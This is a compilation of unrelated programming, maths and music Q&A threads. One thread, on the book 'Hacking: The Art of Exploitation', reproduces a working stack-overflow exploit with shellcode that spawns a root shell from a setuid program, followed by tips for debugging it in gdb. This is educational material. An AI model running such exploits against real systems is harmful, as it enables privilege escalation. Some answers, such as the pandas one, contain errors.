Reduce Lambda error: 'Undefined' object is not callable

Question: I'm using cherrypy and mako with Python to create a website.
In one of my HTML files I have the following Lambda function:
${reduce(lambda list, cur : '
' + someFunction(cur) + '
' +
                             list, object.listing, '')}

Where object.listing is a list with strings.
Executing results in the mentioned error: 'Undefined' object is not callable. The error doesn't occur, if I remove someFunction(). So I assume it has something to do with cur being None or Undefined, but I don't know how to prevent this.
I'm not even quite sure, how the reduce function works.
The whole stacktrace, as requested:
[26/Dec/2012:13:15:22] HTTP
Request Headers:
  REFERER: http://localhost:8080/list
  HOST: localhost:8080
  CONNECTION: keep-alive
  Remote-Addr: 127.0.0.1
  ACCEPT: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
  USER-AGENT: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:17.0) Gecko/20100101 Firefox/17.0
  COOKIE: session_id=960e569568ded77610f11c48bec0a806f5a4501b
  ACCEPT-LANGUAGE: en-US,en;q=0.5
  DNT: 1
  ACCEPT-ENCODING: gzip, deflate
[26/Dec/2012:13:15:22] HTTP Traceback (most recent call last):
  File "/Library/Python/2.7/site-packages/CherryPy-3.2.2-py2.7.egg/cherrypy/_cprequest.py", line 656, in respond
    response.body = self.handler()
  File "/Library/Python/2.7/site-packages/CherryPy-3.2.2-py2.7.egg/cherrypy/lib/encoding.py", line 188, in __call__
    self.body = self.oldhandler(*args, **kwargs)
  File "/Library/Python/2.7/site-packages/CherryPy-3.2.2-py2.7.egg/cherrypy/_cpdispatch.py", line 34, in __call__
    return self.callable(*self.args, **self.kwargs)
  File "/Volumes/Ritalin/Projects/splitpot/controller/Splitpot.py", line 54, in event
    return tmpl.render(object=doSomething())
  File "/Library/Python/2.7/site-packages/mako/template.py", line 412, in render
    return runtime._render(self, self.callable_, args, data)
  File "/Library/Python/2.7/site-packages/mako/runtime.py", line 766, in _render
    **_kwargs_for_callable(callable_, data))
  File "/Library/Python/2.7/site-packages/mako/runtime.py", line 798, in _render_context
    _exec_template(inherit, lclcontext, args=args, kwargs=kwargs)
  File "/Library/Python/2.7/site-packages/mako/runtime.py", line 824, in _exec_template
    callable_(context, *args, **kwargs)
  File "base_html", line 31, in render_body
  File "someFile_html", line 58, in render_body
  File "someFile_html", line 58, in <lambda>
TypeError: 'Undefined' object is not callable

Comment: You should show the entire error with stacktrace to make it easier for us to diagnose.
Comment: Show us your `someFunction`. And what is `cur` in your example?
Answer: 'Undefined' object is not callable

Means that you're trying to call something that doesn't exist. Call means to execute a function. Best guess with the information you've provided is that someFunction doesn't actually exist within the scope you're trying to use it in.
Looking at your stacktrace and reading that you've defined your function within python rather than mako, I think I understand the problem.
http://docs.makotemplates.org/en/latest/syntax.html#def describes how to define a function within your templates. I don't know of a way to call back to python files from a mako template - but you can write those functions within mako itself.
Comment: How would I correctly use function in a template? How do I import a Python class?
Comment: @cherrun where is `someFunction` defined, and what does it do? Have you defined it within your mako template, or is it defined in a python file?
Comment: It is defined in a python file. The function returns a specific string, depending on the value given.
Answer: I don't know what the problem is (hence CW), just wanted to point out that a list comprehension might be a better choice here than reduce:
html = ''.join('
' + someFunction(x) + '
' for x in listing)

Note that your reduce code actually reverses a list, if this is intentional, add reversed to the above:
html = ''.join('
' + someFunction(x) + '
' for x in reversed(listing))

Also, using list (a system identifier) as a variable name is not a good idea.
Answer: Does someFunction() refer to any function put there, or one particular function? If the latter, can we see that code? Does the code still error when someFunction is replaced with e.g. (lambda x: x+x)(cur)?


Valor fixo e único no Android no Unity 3D

Question: Estou tendo dificuldades em pegar um valor único e fixo no C#, preciso pegar um valor assim, por questões de segurança do meu software.
Já tentei utilizei o SystemInfo.deviceUniqueIdentifier, mas infelizmente ao desligar o wifi do dispositivo esse valor altera, o mesmo no Windows caso você conecte qualquer dispositivo no USB ele irá mudar também.
No Windows resolvi o problema pegando o numero físico do HD.
Já tentei o IMEI mas só funciona em dispositivos que tem suporte a chip de telefonia.
Como pegar esse valor no Android?
Answer: Segundo essa resposta no SO cada sistema tem sua forma. No Android a forma sugerida é:
android.telephony.getDeviceId()

Coloquei no GitHub para referência futura.
Comment: o link parece errado.
Comment: @AlanVargas, aparentemente essa chamada sugerida pelo bigown é encapsulada na Unity pelo `SystemInfo.deviceUniqueIdentifier` que você já usa. Dá uma olhada na documentação: http://docs.unity3d.com/ScriptReference/SystemInfo-deviceUniqueIdentifier.html
Answer: Obrigado, acabei encontrando dessa forma também que aparentemente deu certo, mas estou testando em vários dispositivos aqui pra vê se essa solução é a estavel.
 AndroidJavaClass up = new AndroidJavaClass ("com.unity3d.player.UnityPlayer");

 AndroidJavaObject currentActivity = up.GetStatic<AndroidJavaObject> ("currentActivity");

 AndroidJavaObject contentResolver = currentActivity.Call<AndroidJavaObject> ("getContentResolver");

 AndroidJavaClass secure = new AndroidJavaClass ("android.provider.Settings$Secure");

 string android_id = secure.CallStatic<string> ("getString", contentResolver, "android_id");


Back button for Image picker intent

Question: When the user clicks a button it opens an image picker but if the user hits the back button, instead of returning to the activity, it finishes. This is how I start the image picker:
        Intent photoPickerIntent = new Intent(
                Intent.ACTION_PICK,
                android.provider.MediaStore.Images.Media.EXTERNAL_CONTENT_URI);
        photoPickerIntent.setType("image/*");

        startActivityForResult(photoPickerIntent, PICK_FROM_FILE);

any clues ?
Answer: Yes you can handle back button while on gallery or camera or any other by this way.
@Override
protected void onActivityResult(int requestCode, int resultCode, Intent data)
{
    if (resultCode != RESULT_OK)
    {
    //Here you can handle,do anything you want
    }
//other code
}

Answer: I believe this is the intended behavior. So you need to override the method onBackPressed, capture the event and put the code to return to the activity:
@Override
public void onBackPressed() {
   Log.d("mylog", "Back button pressed!");
   //your code to go to previous
}

Comment: my activity override for onBakPressed does not seem to execute when the user presses back while on the image selector intent

Back button for Image picker intent


npm create-react-app or npx create-react-app is not working

Question: this is the error i got every time
I try all-most everything re-installing npm  re-installing node
<code>npm ERR! code ENOENT
npm ERR! syscall spawn pwsh
npm ERR! path C:\Users\Dipan\react-data
npm ERR! errno -4058
npm ERR! enoent spawn pwsh ENOENT
npm ERR! enoent This is related to npm not being able to find a file.
npm ERR! enoent

npm ERR! A complete log of this run can be found in:
npm ERR!     C:\Users\Dipan\AppData\Local\npm-cache\_logs\2023-01-10T09_37_51_103Z-debug-0.log

</code>
Comment: Do you need help I can connect via google meet
Answer: I solved this using the following command.

npm uninstall -g create-react-app
then
npm install -g create-react-app


pandas: export ndarray to csv

Question: I have a simple ndarray that I want to export to a csv, i.e. I just want a column of comma separated values. The reason is that I have to hand sort values from another df according to the values in the array. My data follows:
url='https://raw.githubusercontent.com/108michael/ms_thesis/master/rgdpconc.csv'
result=pd.read_csv(url, index_col=0)
uniq=result.IndustryClassification.unique()
#uniq.to_csv('rgdp_uniq_indstry_class.csv')
uniq   #this is my ndarray

Answer: Create the ndarray to a panda data frame and then use the to_csv pandas method.
uniq = pd.Dataframe({'var1':uniq})
uniq.to_csv('name_of_file')

The default separator is ',' but you can specify another one with the parameter sep like so
uniq.to_csv('name_of_file', sep =' ') #use whitespace for example

Also keep in mind the parameter fmt is very important if you are interested in preserving float precision. Eg.
uniq.to_csv('name_of_file', fmt='%1.3f')

Comment: `Series.unique()` returns a numpy array, so this won't work.
Comment: yes, sorry I was assuming the uniq variable was a dataframe
Answer: I think you need create DataFrame and then write it to_csv:
df = pd.DataFrame({'unique':uniq})
df.to_csv('rgdp_uniq_indstry_class.csv')

Or Series to_csv:
s = pd.Series(uniq)
s.to_csv('rgdp_uniq_indstry_class.csv')

Comment: Bingo! Thanks again!
Comment: Glad can help you! Good luck!
Answer: You cannot give a ndarray object to_csv.Because they don't have such a method.So convert that to a pandas dataframe and give a csv output.
 import pandas as pd

 df = pd.DataFrame(uniq,columns=['suitable column name'])
 df.to_csv('path+csvfilename',index=False)  #### index=False will remove the extra index column in the csv

pandas: export ndarray to csv


Hacking - The Art of Exploitation: debugging buffer overflow example

Question: I'm reading the book "Hacking - The Art of Exploitation".
There is an example on a stack buffer overflow.
This is a part of the source of the attacked program, "notesearch":
char searchstring[100];
// ...
if(argc > 1)
    strcpy(searchstring, argv[1]);   // <-- no length check

And here is the source of the attacking program, "exploit_notesearch":
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
char shellcode[]=
"\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68"
"\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89"
"\xe1\xcd\x80";

int main(int argc, char *argv[]) {
   unsigned int i, *ptr, ret, offset=270;
   char *command, *buffer;

   command = (char *) malloc(200);
   bzero(command, 200); // zero out the new memory

   strcpy(command, "./notesearch \'"); // start command buffer
   buffer = command + strlen(command); // set buffer at the end

   if(argc > 1) // set offset
      offset = atoi(argv[1]);

   ret = (unsigned int) &i - offset; // set return address

   for(i=0; i < 160; i+=4) // fill buffer with return address
      *((unsigned int *)(buffer+i)) = ret;
   memset(buffer, 0x90, 60); // build NOP sled
   memcpy(buffer+60, shellcode, sizeof(shellcode)-1);

   strcat(command, "\'");
   // <-- dumping full command string here
   system(command); // run exploit
   free(command);
}

When running exploit_notesearch, everything works fine, I'll get a root shell as the notesearch program has suid rights.
The command string contains the name of the program to call, a NOP sled, the shellcode and the return adress to the shellcode.
I want to debug the exploited program with gdb to see how the exploit exactly works.
To do this, I dumped the command string (right before the call to system()) into a file (let's call it dump.txt).
Then from a shell I tried to get the same result, I called the exploited program directly with the dumped command string as an argument.
prompt> $(cat dump.txt)
The notesearch program started, but instead of a root shell I got a segmentation fault.
I've also varied the return adress in a very wide range via a script.
My question, what is the difference between:

starting notesearch via the shell
starting notesearch via system

Maybe you also know another way to debug the exploited program via gdb.
Comment: Why don't you use gdb to step through the entire program? Why dump the command string?
Comment: Any chance that you are running on a machine that has execute protection on the stack and/or you compiled your code for 64-bit?
Comment: I tried to step into the child using set follow-fork-mode child, which doesn't work with gdb 6.6 (I have to use this gdb cause it is included with the LIVE CD shipped with the book). Also tried to add a sleep() in the child, and after forking tried to attach to the PID - didn't work cause command prompt in gdb is disabled for the time of the sleep!?

I'm using the Live CD with an old Ubuntu version, which doesn't use those protections. When compiled on a up to date environment and OS, the exploit doesn't work, because there are many things like ASLR enabled.
Answer: Got it working:
Added the following lines at the beginning of main in the notesearch program, which sleeps 45s:
#ifdef MY_DEBUG
printf("child running - sleep()\n");
fflush(stdout);
sleep(45);
printf("child running - sleep() finished\n");
#endif

Then I start exploit_notesearch, which itself starts notesearch which now waits 45s.
In another shell I list all running processes to get the PID of the notesearch process.
Then I run gdb, attach to this process, and can then watch the exploit in the debugger.
Answer: In exploit_notesearch.c, the return address was calculated with reference to the variable i, which was declared in the main function of exploit_notesearch.c
So the command string now contains return address w.r.t to variable i. When you output the command string to a file and then execute it directly with ./notesearch <command>
This return address might probably be referring to a memory location which is inaccessible to your current notesearch program, hence the seg fault.


Can anyone help me understand this chord progression?

Question: Since it starts and ends in G, I'd assume G major:
G  - Cmaj7 -  F#m7 - G#m7  -  Em7  - Cmaj7 - D/F# -  G  or
I  -  IV - (vii#5)- (bii)  -   vi  -  IV -   V    -  I  or
1  -  4  - 7#5m7? -  b2m7? -   6   -  4  -   5    -  1.
OK so, the F#m7 doesn't seem all too strange. It would be like seeing a Bm or D in the key of C. Maybe Lydian or Dorian or like in the beginning of "Yesterday" for instance. But that 4th chord the G#m7(flat 2 thingy) is confusing me pretty bad.
Is this whole thing modal or a key change to E(without using the E major) or what? It's not out of the "borrowed" chords (from the 3 to left group on circle of 5ths) from parallel minor key. It is from the 3 to the right group on the circle (where you'd find secondary dominants) except its minor 7. I doubt that can be called secondary dominant.
Do the minors or minor 7ths from that group have a name? How might this be analyzed? Btw the song is "Only Elliot" by Tommy Emmanuel.
Comment: That 'b2 thingy' sounds like a secondary dominant to me. G#m7 is an inversion of B6.  B is dominant of Em.
Comment: On a video I found the second chord sounds like a Cmaj7. :) Though he was using a capo, lifting the whole thing from G to A. It's a nice little tune, reminds me of Pat Metheny's "James".
Comment: @Tim Right, I was well aware of how an X6 is enharmonic(same notes) with the X/roots relative minor's 7th. Like C6 & Am7 for instance. I guess I just NEVER considered accepting a minor 7th as secondary dominant. In this case a 5/6 of 6(excuse the notation). Thats interesting Thanks.
Comment: @piiperiReinstateMonica - it is Cmaj7. Love to know why it wasn't played open in G, but the capo needed to be on fret 2.
Comment: @piiperiReinstateMonica Right, I think we've both seen the same version, it is technically in A, a guitarists mistake(damn capos) ! & Yes it is quite clearly a Cmaj7(at least most of the time), & I could swear there's even an E(D capoed) note(add 2) once or twice which is more like a G6/C. Though I've been known to hear "things" lol. Yes, nice & little :-)
Comment: I corrected the OP with Cmaj7
Comment: @Tim are you sure about the _secondary_ dominant? If you look at it as a bizarre B major, isn't it then just a dominant, not a secondary dominant?
Answer: The G#m7 sounds like Tommy Emmanuel just wanted spice it up with something a little bit "outside" and not so obviously V dominant, and G#m7 was readily available after the F#m7. In a more stereotypical, but perhaps boring and predictable form it would be  G - C - F#m7 - B7  -  Em7  - Am7 - D - G. If you want to get rid of the last remaining out-of-scale color note, make the third chord F#m7-5.
IMO this is a good example of color notes and chords that Laurence Payne talks about. You can make up a very complicated analysis theory for it, if you want, but the G#m7 is just adding color. It does tilt the harmony in its own unique particular way, and no other chord would give the song exactly that unique taste. But constructing complicated key change or interchange or borrowing theories doesn't feel justified, because the change is so short and the melody doesn't take advantage of the harmonic possibilities in any way. B7 would have been too predictable and blatantly melancholic, but the G#m7 gives it something interesting and ear-catching, while keeping the same simple melody. I'd say, the F#m7 and particularly the G#m7 are the "money chords" in this song.
If the chords went to something like C#m7 instead of Em7, then it might be a more profound harmonic change, forcing some changes even to the melody line.
For the colour given by the F#m7 chord, I would have given the exact same two labels, "like in Yesterday" and "Dorian". Maybe you can say that being able to give commonly understood names to things is one aspect of "understanding". :) IMO, understanding means the ability to handle and deal with things, and for example, being able to refer to and locate the things in some way. Many people know what "The Hendrix chord" is, and that's enough of a name for many purposes. If you need a name for the G#m7's role, why not call it the Only Elliot chord?
Comment: Yup, the $ chord for sure. Its just that I don't think I've ever encountered that particular sequence anywhere ever, especially in such a simple & normal(not jazzy?) sounding song. @Tim thinks of it as a secondary dominant inversion, to paraphrase, like a "5/6 of 6"(excuse the notation) which I can dig, But I do prefer this b2m7 thingy as the "Only Elliot Chord" !
Answer: Nice chords! I see them as:
G  - Cmaj7 -  A6 - B6  -  Em7  - Cmaj7 - D/F# -  G
The A6 takes it towards G lydian, then the B6 briefly takes it further out into lydian augmented space - before returning to "normal" from Em7.
Comment: I disagree on the G lydian, I think it's at most E dorian, if that. :) If the bass stayed at G, so A/G, I'd say it's a tiny bit lydianish. It's such a brief moment, it's not _modal_ at all really. Thinking about it more, I'd say I hear the C# and D# notes in the F#m7 and G#m7 chords the same way as I hear the E melodic minor scale, when played as a "phrase" in ascending order.
Comment: After hearing the actual song (I only played the chords slowly on my keyboard), I think I agree with the analysis you wrote above. G#m7 sounds like a quickly passing borrowed chord to add color. Funny that you hear E melodic minor, because that is a mode of G lydian augmented which I heard when I was messing around. :-) Others mentioned "Yesterday" which also has a flavour of melodic minor. There is definately something interesting going on with these chords.
Answer: Since the focus of the question seems to be about the G#m7 chord, I would point out that it forms a chromatic mediant relation to the Em7 chord that follows after. Roots G# and E are a third apart and the chord qualities are the same.
I think that is better description than calling G#m7 an inverted B6. If the B6 is presumably the dominant of Em then the G# add to a B chord presents a bit of a problem. Would that be a borrowed tone? Borrowing is usually borrowing from minor into major. And borrowing an added tone seems weak. Borrowing usually changes a chords root or third. But aside from the theory it just sounds like a chromatic mediant relationship. From there you can see a number of non-functional progressions in the middle of the line enclosed with tonally stable progression at the start/end G C and D G.

EDIT
Chromatic mediants are basically two chords - usually triads - of the same type (major or minor) where the roots are a third apart.
The original use of term was about key changes. But you can use it to describe chord relationships too.
Notice that diatonic chords with roots apart by a third are of differing types. Ex. I iii, ii IV, iii V, etc. One of the special things about chromatic mediants is the two chords are of the same type.
Also, chromatic mediants in some cases can also be analyzed as borrowed chords or secondary dominants. C major and Ab major could be described as chromatic mediants or a borrowed chord like I bVI. Ex. C major and A major triads could be chromatic mediants like I VI or the A could be a secondary dominant like I V/ii.
Whatever description is used the chords should progress in a way that makes sense with the description. Borrowed chord usual function the same as their corresponding diatonic chords. Secondary dominants should actually function as dominants relative to a secondary tonic. When the harmony is non-functional chromatic mediant seems a convenient term, because it implies the harmony is neither borrowed or secondary.
Comment: A borrowed tone ? idk, I'm trying to gather as many angles as possible. I agree the the G# note is problematic as a 2ndary dominant. I'm not familiar with the term "chromatic mediant". The wiki article I just checked isn't to clear to me at all. But it seems more about a 3rd(either min or maj) relationship to the tonic & not to any or in this case the next chord Em7. Or is it ? Any better resource you know of off hand ? Or can you please explain it a little better, I admit my theory is mediocre at best. Thanks
Comment: @JoeB I added an edit to my answer with added detail. I think descriptions re. a tonic are about mediant _key_  relationships, but you can apply the concept to any pair of chords.
Comment: Maybe look up _Giant Steps_ by John Coltrane, or "Coltrane Change", jazz theory may not call those chromatic mediants, but that is what they are.
Comment: Rock uses them too. "Chromatic-Minor" is an interesting theory... https://music.stackexchange.com/questions/82742/harmonic-succession-in-the-chromatic-minor-system or https://books.google.ca/books?id=NZQVpFzLQAUC&pg=PA90 ...again in that theory they aren't called chromatic mediants, but the relationships can occur. Same sound, different label.
Answer: The progression starts in G major (first two chords) then goes "somewhere else" in the middle (next 2-3 chords), and ends in G major (last 3-4 chords).
Therefore I don't think it will be very controversial to say that the as a whole the piece is in G major.
But I also suspect that you'll find a lot of different ways of analyzing and interpreting that "somewhere else" bit in the middle.
For example, personally, I sort of hear those F#m7 and G#m7 as in the key of E major, but I can just as well hear them as passing chords without a clear tonal center.
If I had to compose a melody or improvise on them, I would lean very heavily on the chord tones themselves rather than relying on any parent scale -- i.e. I would not even consider whether that F#7 is the root of a minor scale (i.e. F# minor scale) or the second degree of E major (i.e. F# Dorian) or the sixth degree of A major (i.e. F# Aeolian) or anything like that. I would instead just use the chord notes themselves (F# A C# E) and how those four voices connect with the voices of the next chord.
But I'm also just as sure that many other people will hear it differently, explain it differently, and use it differently should they compose, improvise, or arrange it. That can be a matter of taste, musical background, and so on.
Answer: I hear the same Gregorian70
I (ii-V): vi IV = G (F#m B) em
the chords in the TAB are not quite correct:

but here is the tutorial by Emmanuel himself:

It reminds me of Yesterday (and I pretend that's what it's meant to be.)
Comment: Yesterday and Pat Metheny's James. :)
Comment: and many others ... ;)
Comment: It was just mostly that 4th chord the G#m7(ignore capo) that was tripping me up. Seeing it as a B6 inversion(which it is) is interesting imo, like I said as per @Tim, in which case its just a "funny" Secondary dominant, a 5/6 of 6 (again excuse notation). I've never heard of that sort of thing as the bass/root note typically suggests the class of chord. But I guess I can run with that for now. & btw, just for the record, that is NOT Tommy himself in that vid. It is a very good tut though. Sorry, I can't always tell who posted what, It is a wonderful foram/platform though. Thanks everyone.
Comment: Yes, the video is made by Akira Satoyoshi.


Create user in PostgreSQL sudo: unknown user

Question: I'm trying to create a new user in PostgreSQL installed on Ubuntu 20.04:
$ sudo -u postgres createuser --superuser tommy

But when I try to create a database with that user it says unknown user:
$ sudo -u tommy createdb tommy_db
sudo: unknown user: tommy
sudo: unable to initialize policy plugin

The think is that I already know that there are UNIX users and PostgreSQL users and I don't know if I have to create first a UNIX user tommy or not.
I would like to take advantage of the post and ask what is the difference between a postgreSQL user and a UNIX user in postgreSQL in terms of database management.
PD: If I list the users using /du in plsql I can see the created user tommy:
 Role name |                         Attributes                         | Member of
-----------+------------------------------------------------------------+-----------
 tommy     | Superuser, Create role, Create DB                          | {}
 postgres  | Superuser, Create role, Create DB, Replication, Bypass RLS | {}

Comment: You don't need a unix user at all.  Go in as a superuser and `create role tommy login password 'xyz' superuser`
Comment: "*what is the difference between a postgreSQL user and a UNIX user in postgreSQL*" - well one is to authenticate against the operating system, the other is needed to authenticate against the database. It's the same difference between your Linux user and the user account you used to log-in to Stackoverflow.
Comment: It is used to run the service because it would be a security risk to run the Postgres service as `root`
Comment: @a_horse_with_no_name of course I know that but why is there a user postgres in UNIX system?
Answer: Your system is probably using simple "peer" authentication by default. That is a common default for Linux-based package managers to use when they create a database for you.
To keep using that set up, then you yes you will need to set up "tommy" as a Linux user.  Or, you will have to edit pg_hba.conf to pick a different method, like md5 (password) or gss (kerberos), or to add an ident map along with "peer" to describe which OS users are allowed to log in as which database users.
The only connection between the Linux user and the PostgreSQL user is the one created by the use of peer authentication.
Answer: Be sure to be logged as a root user by using sudo su or sudo -i
So that's likely part of the problem - when you use sudo -u postgres from the root account, it's trying to access root's home directory as the non-root user postgres.
That should work pretty well.


Is the sum of a summation with an upper bound of zero always equal to zero?

Question: I thought if the lower and upper bound of a summation are equal, that from that would follow that the sum is always equl to 0. But when trying this in Wolfram Alpha the result is just one iteration of the summation term.
Can someone please explain if my hypothesis therefore is wrong?
sum_(j=0)^0 1 = 1
Comment: Do not confuse $\sum\limits_{j=0}^0 1 = 1$ and $\sum\limits_{j=1}^0 1 = 0$.  As for when lower and upper bound are equal, yes, that is equal to the summand itself.  Recall the meaning of the notation... $\sum\limits_{j=a}^b x_j$ is equal to the sum of all elements $x_j$ with index $j$ in the range $a\leq j\leq b$.  In the case of $\sum\limits_{j=1}^0$ there are no indices $j$ in the range $1\leq j\leq 0$.  In the case of $\sum\limits_{j=0}^0$ there is an index $j$ in the range $0\leq j\leq 0$, namely the *index* zero.
Comment: Note also, this is not something special about the upper bound but is rather having to do with how the upper bound relates to the lower bound.  $\sum\limits_{j=-3}^0 1 = 4$ for instance.
Answer: Intuitively:
The sum $$\sum_{i=0}^n a_i$$ denotes the sum of all $a_i$ where $i$ goes from $0$ (inclusive) to $n$ (inclusive). In other words,
$$\sum_{i=0}^n a_i = a_0 + a_1 + \cdots + a_n$$
so, if $n=0$, you would have the sum of all $a_i$ for $i$ from $0$ (inclusive) to $0$ (inclusive). The index $i=0$ is the only index that satisfies this condition, so the sum would be $a_0$.

From definitions: by most definitions, $$\sum_{i=0}^o a_i$$ is equal to $a_0$.
In fact, the standard way of defining the sum in general would be a recursive definition, i.e.
$$\sum_{i=0}^0 a_i = a_0\\
\sum_{i=0}^n a_i = a_n + \sum_{i=0}^{n-1} a_i$$
This definition, for example, says that
$$\sum_{i=0}^1 a_i = a_1 + \sum_{i=0}^0 a_i.$$
Comment: For full recursive definition, one can add $\sum_{i=k}^na_i=a_{k}+\sum_{i=k+1}^na_i$, to allow changing of lower index.
Comment: @IvanKaznacheyeu Indeed! Alternatively, at that point, you could also define $$\sum_{i=m}^n a_i = \sum_{i=0}^n a_i - \sum_{i=0}^{m-1}a_i$$


About the term "continuous monotone map"

Question: In this wiki a monotone map is defined, but in this paper in theorem 1.1 the definition of a monotone function is recalled. The first is concerned with points of the image, but the second is about points of the whole target space. What is the more standard term for the definition in the wiki and in the paper? Why is the term continuous monotone map used in the paper when the wiki says that monotone maps are continuous? Is this term redundant or are monotone maps not necessarily continuous?
Comment: The wiki definition calls a continuous $f:X\rightarrow Y$ monotone if $f^{-1}(f(x))$ is connected for all $x\in X$. It only talks about points in the image of $f$. So it places no condition on points $y\in Y\setminus f(X)$. But it's equivalent to require $f^{-1}(y)$ to be connected for all $y\in Y$, because if $y\notin f(X)$, then $f^{-1}(y)=\emptyset$ is connected.
Comment: However if the author of a paper/book/wiki chooses to introduce monotonicity for continuous maps only, it's their right to do so.
Comment: The condition on points in the target which are not in the image is vacuous because the empty set is connected.
Comment: but are all the monotone functions, continuous?
Comment: Monotone functions are generally not continuous. Some examples are the signum function, the floor function, the ceiling function, ...
Answer: The definition of "monotone" in the wiki article is for the very general case of continuous maps between arbitrary topological spaces. For ordinary mortals like you and me, monotonicity is defined mostly for real-valued functions of a real variable. In this world, a monotone function is either order-preserving or order-reversing. In symbols, if $X$ and $Y$ are subsets of $\mathbb R$ and $f\colon X\to Y$ is a function (not assumed to be continuous!), one says that $f$ is monotone increasing if, for $x,x'\in X$, $x<x'$ implies $f(x)<f(x')$; monotone nondecreasing if instead the conclusion is $f(x)\le f(x')$. I'll leave it to you to guess the definitions of monotone decreasing and nonincreasing.
So, the squaring function is monotone increasing when restricted to the nonnegative numbers, $[0,\infty\rangle$, and the floor function $x\mapsto\lfloor x\rfloor$, is monotone nondecreasing, as @Tunococ has observed. Remember that $\lfloor x\rfloor$ is defined to be the largest integer less than or equal to $x$. It's a discontinuous monotone function.


Null Pointer Exception when Getting EditText Value

Question: I am trying to get EditText value through below code. The activity is used for adding two strings. In the layout, I already put onSave and onCancel method. But when I press button linked to onSave, it shows null pointer exception error.
Activity:
import android.app.Activity;
import android.content.Intent;
import android.os.Bundle;
import android.view.View;
import android.widget.EditText;

public class AddTimeActivity extends Activity {

public void onCreate(Bundle savedInstanceState){
    super.onCreate(savedInstanceState);
    setContentView(R.layout.time_item);
}

public void onCancel(View view){
    this.setResult(RESULT_CANCELED);
    finish();
}

public void onSave(View view){
    Intent intent = getIntent();

    EditText timeView = (EditText)view.findViewById(R.id.time_view);
    String time = timeView.getText().toString();
    intent.putExtra(TimeTrackerActivity.TIME_KEY, time);

    EditText notesView = (EditText)view.findViewById(R.id.notes_view);
    String notes = notesView.getText().toString();
    intent.putExtra(TimeTrackerActivity.NOTES_KEY, notes);

    this.setResult(RESULT_OK, intent);

    finish();

}
}

Layout:
...
<EditText
    android:id="@+id/timeView"
    android:layout_width="fill_parent"
    android:layout_height="wrap_content" >
</EditText>

<EditText
    android:id="@+id/notes_view"
    android:layout_width="match_parent"
    android:layout_height="wrap_content"
    android:inputType="textMultiLine"
    android:gravity="top"
    android:layout_weight="1"
    android:layout_marginBottom="10dp"/>
...
<Button
        android:onClick="onSave"
        android:layout_width="wrap_content"
        android:layout_height="wrap_content"
        android:text="Save" />

<Button
        android:onClick="onCancel"
        android:layout_width="wrap_content"
        android:layout_height="wrap_content"
        android:text="Cancel" />
...

Error Message from Debugger
E/AndroidRuntime(1123): Caused by: java.lang.NullPointerException
E/AndroidRuntime(1123): at com.timetracker.AddTimeActivity.onSave(AddTimeActivity.java:34)

I tried to check and the value of timeView through debugger and it is null.
Could anybody help?
Answer: You are looking for the id time_view (findViewById(R.id.time_view)), but you declare in the XML the ID timeView (android:id="@+id/timeView"). Make them the same and it should fix it.
Also, you should not call it on the view, but on the activity, e.g:
EditText timeView = (EditText)findViewById(R.id.time_view);

Comment: Thanks a lot for your answer. How come I didn't see that :)
Answer: Your xml has
 android:id="@+id/timeView"

But your code has
  EditText timeView = (EditText)view.findViewById(R.id.time_view);

Change above line to.
   EditText timeView = (EditText)view.findViewById(R.id.timeView);


Node/add and node/edit do not display forms

Question: I am logged in as an admistrator account and all relevant permissions are enabled for admistrators(some rights to delete a few types are disabled).
When I attempt to edit or create an event I get a page with a bread crumb, a title and no actual form or styling. I checked the html and the form isn't being sent and just not displayed either. I am using drupal 7.14 and this setup was working before moving it to another server.
Comment: How big is your site? Is it possible to create a local version, using tools such as Backup & Migrate. This would make it easier to debug. Also there's a chance that the problem disappears which would make that a server issue...
Comment: It was previously local this problem did not occur until moving it to a rackspace server.
Comment: Then can you create another version on a subdomain for instance? Point being that these kind of issues are difficult to debug from afar... How was your website moved? Did you use ftp, git? Did you install Drupal then migrated content etc...
Comment: I can ask for remote access if there is something you would suggest checking in the filesystem. The thing is creating another version wouldn't help because we had another version and it didn't have any problems. It is likely a server issue like you said but I am unsure of what on the server would cause problems for editing or adding content but not for the rest of the admin menu or viewing pages normally.
Comment: A classic workflow is to have a local, staging & production version. The staging & production both on a remote server. This is more or less what I'm suggesting here. Create a staging version you can experiment with or use for debug purposes. When all is working move your content to the production site. In your case, depending on the size of your site , you could start with a clean Drupal install and move up from there... A problem with the server itself is unlikely ( although possible ). A bad site transfer seems more likely...
Comment: Just heard back from the person who did the migration it was SCP and a mysqldump
Comment: Yes I had a version working on my computer, then we had a version on the clients server and fixed all of the problems that cropped up there and when we switched to pulling from live data. What happened here is a breakdown in the move from staging to Production(not yet live).
Comment: I would recommend a combination of Git & Backup & Migrate. It's far more flexible... After editing on the client's server you would have sync'd your local version, then moved on to Production. In case something goes wrong, it should be fairly easy to do a quick reinstall. If things fail again, you can always test the Production server with a clean Drupal install as mentioned earlier...
Comment: let us [continue this discussion in chat](http://chat.stackexchange.com/rooms/8137/discussion-between-patricks-and-lathomas64)
Comment: Sorry about that I missed you asking that as I stepped away briefly to handle some laundry and make food.
Answer: According to the person who resolved the issue memory_limit on the server was the problem.
Comment: Do you have a reference to the issue?


Binomial Probability Question

Question: Given two basketball players.
John made 38/50 free throws.
Mike made 80/100 free throws.
What is probability that Mike is better at free throws than John?
Comment: The answer depends upon what prior knowledge you have.  You might get a different answer if you know John is the captain of the basketball team.
Comment: Assuming a uniform prior, the answer is 848437653385740282130263/1167635946155025951609137 = about 72.66%.
Comment: assume zero prior knowledge
Comment: Michael McGowan's point is that you *must* make some such assumption in order to obtain an answer.  It's like asking whether a cannonball or a feather will hit the ground first without specifying how high each one was when dropped: if you are ignorant of that essential information, *you simply cannot provide a justified answer,* even though the problem makes sense and physical theory exists to solve it for any given pair of heights.
Answer: This is very much a problem in Bayesian inference.  You appear to have taken the first step in realizing that the sample is not the same as the underlying probability distribution.  Even though Mike had a higher mean in his sample, John might have a higher mean for his true talent distribution.  When applying Bayesian inference, we start with a prior distribution, use the evidence to update our knowledge, and come out with a posterior distribution.
